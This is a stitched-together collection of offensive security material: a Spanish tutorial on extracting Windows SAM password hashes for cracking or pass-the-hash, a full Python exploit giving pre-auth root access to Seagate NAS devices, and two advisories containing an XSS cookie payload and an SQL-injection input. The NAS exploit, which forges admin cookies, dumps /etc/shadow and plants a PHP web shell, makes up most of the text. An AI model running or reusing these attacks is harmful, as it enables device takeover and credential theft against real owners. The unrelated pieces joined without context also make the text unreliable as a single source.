El SAM del equipo, o, dicho de otra forma, el «Security Account Manager» es donde se almacenan los hashes de las contraseñas de los usuarios del sistema. Los hashes se almacenan de forma encriptada, y la clave de desencriptación se encuentra en el archivo SYSTEM.

Por lo que, si somos capaces de leer el archivo SAM y SYSTEM, podemos extraer los hashes de todos los usuarios del equipo.

Los archivos SAM y SYSTEM, se almacenan en el directorio:

C:\Windows\System32\config

Estos archivos están bloqueados mientras Windows está ejecutándose. Sin embargo, quizás podemos encontrar un backup en alguno de los siguientes directorios:

C:\Windows\Repair

C:\Windows\System32\config\RegBack

En este caso, encontramos un backup de ambos archivos en el directorio C:\Windows\Repair , por lo que podemos copiárnoslo a nuestro equipo:

image 11

Ambos archivos son ilegibles, ya que son binarios:

image 12

Para desencriptar el archivo «SAM» usando «SYSTEM», podemos usar por ejemplo pwdump.py:

image 13

También podríamos usar secretsdump.py:

image 14

Por último, una vez tenemos el hash NT de los usuarios, tenemos dos opciones, intentar crackearlo, o hacer Pass The Hash.

Nota: Si ya hemos escalado privilegios y lo que queremos es obtener los hashes para generar persistencia. Siendo administrador, podemos obtener la SAM y el SYSTEM desde el registro con los comandos:

reg save HKLM\SAM SAM.backup

reg save HKLM\SYSTEM SYSTEM.backup

Referencias

  • HKEY_LOCAL_MACHINE (HKLM) | Neoguias
  • Registro de Windows – Wikipedia
  • Registry hive basics part 2: NK records
  • Activar el inicio de sesión automático en Windows
  • Execute «reg query» as a new process does not display all keys
  • Redirector del Registro
  • CMDKEY.exe (Windows 2003+)
  • Answer Files Overview
  • Stored Credentials
  • Windows Privilege Escalation for OSCP & Beyond!
  • Windows-PrivEsc-Setup

#!/usr/bin/env python
#
# Seagape
# =======
# Seagate Business NAS pre-authentication remote code execution
# exploit as root user.
#
# by OJ Reeves (@TheColonial) - for full details please see
# https://beyondbinary.io/advisory/seagate-nas-rce/
#
# Usage
# =====
# seagape.py <ip> <port> [-c [ua]]
#
# - ip   : ip or host name of the target NAS
# - port : port of the admin web ui
# - -c   : (optional) create a cookie which will give admin access.
#          Not specifying this flag results in webshell installation.
# - ua   : (optional) the user agent used by the browser for the
#          admin session (UA must match the target browser).
#          Default value is listed below
#
# Example
# =======
# Install and interact with the web shell:
# seagape.py 192.168.0.1 80
#
# Create admin cookie
# seagape.py 192.168.0.1 80 -c

import base64
import hashlib
import itertools
import os
import re
import socket
import sys
import urllib
import urllib2
import uuid
import xml.sax.saxutils

if len(sys.argv) < 3:
    print "Usage: {0} <ip> <port> [-c [user agent]]".format(sys.argv[0])
    sys.exit(1)

# Every Seagate nas has the same XOR key. Great.
XOR_KEY = '0f0a000d02011f0248000d290d0b0b0e03010e07'

# This is the User agent we'll use for most of the requests
DEFAULT_UA = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10'

# This is the description we're going to be reading from
LFI_FILE = '/etc/devicedesc'

# the base globals that will hold our state
host = sys.argv[1]
port = int(sys.argv[2])
cis = ''
hostname = ''
webshell = str(uuid.uuid1()) + ".php"

def chunks(s, n):
    for i in xrange(0, len(s), n):
        yield s[i:i + n]

def forward_interleave(a, b):
    return ''.join(itertools.chain(*zip(itertools.cycle(a), b)))

def xor(s, k):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in itertools.izip(s, itertools.cycle(k)))

def sha1(s):
    return hashlib.sha1(s).hexdigest()

def decode(s):
    f = xor(s, XOR_KEY)
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in chunks(f, 2))

def encode(s):
    s = forward_interleave(sha1(s), s)
    s = ''.join(a + chr(ord(a) ^ ord(b)) for a, b in chunks(s, 2))
    return xor(s, XOR_KEY)

def make_request(uri = "/", ci_session = None, headers = None, post_data = None):

    method = 'GET'

    if not headers:
        headers = {}

    headers['Host'] = host

    if 'User-Agent' not in headers:
        headers['User-Agent'] = DEFAULT_UA

    if 'Accept' not in headers:
        headers['Accept'] = 'text/html'

    if post_data:
        method = 'POST'
        post_data = urllib.urlencode(post_data)
        headers['Content-Type'] = 'application/x-www-form-urlencoded'

    if ci_session:
        ci_session = urllib.quote(base64.b64encode(encode(ci_session)))
        headers['Cookie'] = 'ci_session={0}'.format(ci_session)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))

    http  = ""
    http += "{0} {1} HTTP/1.1\r\n".format(method, uri)

    for h in headers:
        http += "{0}: {1}\r\n".format(h, headers[h])

    if post_data:
        http += "Content-Length: {0}\r\n".format(len(post_data))

    http += "\r\n"

    if post_data:
        http += post_data

    s.send(http)

    result = ""
    while True:
        data = s.recv(1024)
        if not data:
            break
        result += data

    s.close()

    return result

def get_ci_session():
    resp = make_request()

    for l in resp.split("\r\n"):
        m = re.findall("Set-Cookie: ([a-zA-Z0-9_\-]+)=([a-zA-Z0-9\+%=/]+);", l)
        for name, value in m:
            if name == 'ci_session' and len(value) > 40:
                return decode(base64.b64decode(urllib.unquote(value)))

    print "Unable to establish session with {0}".format(host)
    sys.exit(1)

def add_string(ci_session, key, value):
    prefix = 's:{0}:"{1}";s:'.format(len(key), key)
    if prefix in ci_session:
        ci_session = re.sub(r'{0}\d+:"[^"]*"'.format(prefix), '{0}{1}:"{2}"'.format(prefix, len(value), value), ci_session)
    else:
        # doesn't exist, so we need to add it to the start and the end.
        count = int(ci_session.split(':')[1]) + 1
        ci_session = re.sub(r'a:\d+(.*)}$', r'a:{0}\1{1}{2}:"{3}";}}'.format(count, prefix, len(value), value), ci_session)
    return ci_session

def set_admin(ci_session):
    return add_string(ci_session, "is_admin", "yes")

def set_language(ci_session, lang):
    return add_string(ci_session, "language", lang)

def include_file(ci_session, file_path):
    if file_path[0] == '/':
        file_path = '../../../../../..' + file_path
    return set_language(ci_session, file_path + "\x00")

def read_file(file_path, post_data = None):
    resp = make_request(ci_session = include_file(cis, file_path), headers = {}, post_data = post_data)
    return resp

def hashdump():
    shadow = read_file('/etc/shadow')
    for l in shadow.split("\n"):
        if l and ':!:' not in l and ':x:' not in l:
            parts = l.split(':')
            print "{0}:{1}".format(parts[0], parts[1])

def cmd(command):
    headers = {
        'Content-Type' : 'application/x-www-form-urlencoded',
        'Accept' : '*/*',
        'User-Agent' : DEFAULT_UA
    }

    post_data = urllib.urlencode({'c' : command})
    headers['Content-Type'] = 'application/x-www-form-urlencoded'

    ci_session = urllib.quote(base64.b64encode(encode(cis)))
    headers['Cookie'] = 'ci_session={0}'.format(ci_session)

    url = 'http://{0}:{1}/{2}'.format(host, port, webshell)
    req = urllib2.Request(url, headers = headers, data = post_data)

    return urllib2.urlopen(req).read()

def shell():
    running = True
    while running:
        c = raw_input("Shell ({0}) $ ".format(post_id))
        if c != 'quit' and c != 'exit':
            cmd(c)
        else:
            running = False

def show_admin_cookie(user_agent):
    ci_session = add_string(cis, 'is_admin', 'yes')
    ci_session = add_string(ci_session, 'username', 'admin')
    ci_session = add_string(ci_session, 'user_agent', user_agent)
    ci_session = urllib.quote(base64.b64encode(encode(ci_session)))
    print "Session cookies are bound to the browser's user agent."
    print "Using user agent: " + user_agent
    print "ci_session=" + ci_session

def show_version():
    print "Firmware Version: {0}".format(get_firmware_version())

def show_cookie():
    print cis

def show_help():
    print ""
    print "Seagape v1.0 -- Interactive Seagate NAS Webshell"
    print "  - OJ Reeves (@TheColonial) - https://beyondbinary.io/"
    print "  - https://beyondbinary.io/bbsec/001"
    print "==========================================================================="
    print "version           - Print the current firmware version to screen."
    print "dumpcookie        - Print the current cookie to screen."
    print "admincookie <ua>  - Create an admin login cookie (ua == user agent string)."
    print "                    Add to your browser and access ANY NAS box as admin."
    print "help              - Show this help."
    print "exit / quit       - Run for the hills."
    print "<anything else>   - Execute the command on the server."
    print ""

def execute(user_input):
    result = True
    parts = user_input.split(' ')
    c = parts[0]

    if c == 'admincookie':
        ua = DEFAULT_UA
        if len(parts) > 1:
            ua = ' '.join(parts[1:])
        show_admin_cookie(ua)
    elif c == 'dumpcookie':
        show_cookie()
    elif c == 'version':
        show_version()
    elif c == 'help':
        show_help()
    elif c == 'quit' or c == 'exit':
        remove_shell()
        result = False
    else:
        print cmd(user_input)
    return result

def get_firmware_version():
    resp = make_request("/index.php/mv_system/get_firmware?_=1413463189043",
            ci_session = acis)
    return resp.replace("\r", "").replace("\n", "").split("version")[1][1:-2]

def install_shell():
    resp = make_request("/index.php/mv_system/get_general_setup?_=1413463189043",
            ci_session = acis)
    existing_setup = ''
    for l in resp.split("\r\n"):
        if 'general_setup' in l:
            existing_setup = l
            break

    # generate the shell and its installer
    exec_post = base64.b64encode("<?php if(isset($_POST['c'])&&!empty($_POST['c'])){system($_POST['c']);} ?>")
    installer = '<?php file_put_contents(\'{0}\', base64_decode(\'{1}\')); ?>'.format(webshell, exec_post)
    write_php = xml.sax.saxutils.quoteattr(installer)[1:-1]
    start = existing_setup.index('" description="') + 15
    end = existing_setup.index('"', start)
    updated_setup = existing_setup[0:start] + write_php + existing_setup[end:]

    # write the shell to the description
    resp = make_request("/index.php/mv_system/set_general_setup?_=1413463189043",
            ci_session = acis,
            headers = { },
            post_data = { 'general_setup' : updated_setup })

    # invoke the installer
    read_file(LFI_FILE)

    # remove the installer
    resp = make_request("/index.php/mv_system/set_general_setup?_=1413463189043",
            ci_session = acis,
            headers = { },
            post_data = { 'general_setup' : existing_setup })

def remove_shell():
    return cmd('rm -f {0}'.format(webshell))

print "Establishing session with {0} ...".format(host)
cis = get_ci_session()

if len(sys.argv) >= 4 and sys.argv[3] == '-c':
    ua = DEFAULT_UA
    if len(sys.argv) > 4:
        ua = sys.argv[4]
    show_admin_cookie(ua)
else:
    print "Configuring administrative access ..."
    acis = add_string(cis, 'is_admin', 'yes')
    acis = add_string(acis, 'username', 'admin')

    print "Installing web shell (takes a while) ..."
    install_shell()

    print "Extracting id and hostname ..."
    identity = cmd('whoami').strip()
    hostname = cmd('cat /etc/hostname').strip()
    show_help()

    running = True
    while running:
        try:
            user_input = raw_input("Seagape ({0}@{1})> ".format(identity, hostname))
            running = execute(user_input)
        except:
            print "Something went wrong. Try again."
            
source: https://www.securityfocus.com/bid/49920/info

Phorum is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Phorum 5.2.18 is vulnerable; other versions may also be affected. 

http://www.example.com/phorum-5.2.18/admin/"</script><script>alert(document.cookie);</script></script>
http://www.example.com/phorum-5.2.18/admin/index.php"</script><script>alert(document.cookie);</script></script>
            
source: https://www.securityfocus.com/bid/49918/info

Netvolution is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Netvolution 2.5.8 is vulnerable; other versions may also be affected. 

The following example input is available:

Referer: 1','0'); [SQL]